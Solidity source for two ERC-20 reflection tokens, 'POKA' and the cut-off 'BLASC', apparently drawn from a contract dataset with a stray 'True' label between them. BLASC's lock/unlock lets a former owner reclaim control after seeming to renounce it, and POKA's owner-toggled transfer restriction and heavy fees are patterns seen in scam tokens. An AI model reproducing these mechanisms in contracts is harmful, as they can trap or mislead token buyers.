uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract POKA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e15 * 1e9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Pokadex"; string private constant _symbol = 'POKA'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _marketingWalletAddress = payable(0xaAADE0E8458734a37Eb262902c9F94Fde92db431); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _marketingWalletAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingWalletAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5e12 * 1e9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
True
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//SPDX-License-Identifier: GPL-3.0-or-later // __________ ___. .____ _____ __________________ // \______ \_____ \_ |__ ___.__. | | / _ \ / _____/\_ ___ \ // | | _/\__ \ | __ < | | | | / /_\ \ \_____ \ / \ \/ // | | \ / __ \| \_\ \___ | | |___/ | \/ \\ \____ // |______ /(____ /___ / ____| |_______ \____|__ /_______ / \______ / // \/ \/ \/\/ \/ \/ \/ \/ pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } // Contract implementation contract BLASC is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; // excluded from reward address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10_000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Baby Lonely Alien Space Club'; string private _symbol = 'BLASC'; uint8 private _decimals = 18; uint256 private _taxFee = 10; uint256 private _nftFee = 55; uint256 private _marketingFee = 20; uint256 private _swapImpact = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousNftFee = _nftFee; uint256 private _previousMarketingFee = _marketingFee; address payable public _nftWalletAddress = payable(0xAe89a842F77546f22357a7290E49566F93A3f9C3); address payable public _marketingWalletAddress = payable(0x13ff7906c023FeAeEC81343A75243633aEdE2704); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify = false; bool public swapAndLiquifyEnabled = true; bool public tradingOpen = false; uint256 private _maxTxAmount = _tTotal.div(200); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_nftWalletAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; _isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true; _blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)); _isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true; _blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679)); _isBlackListedBot[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true; 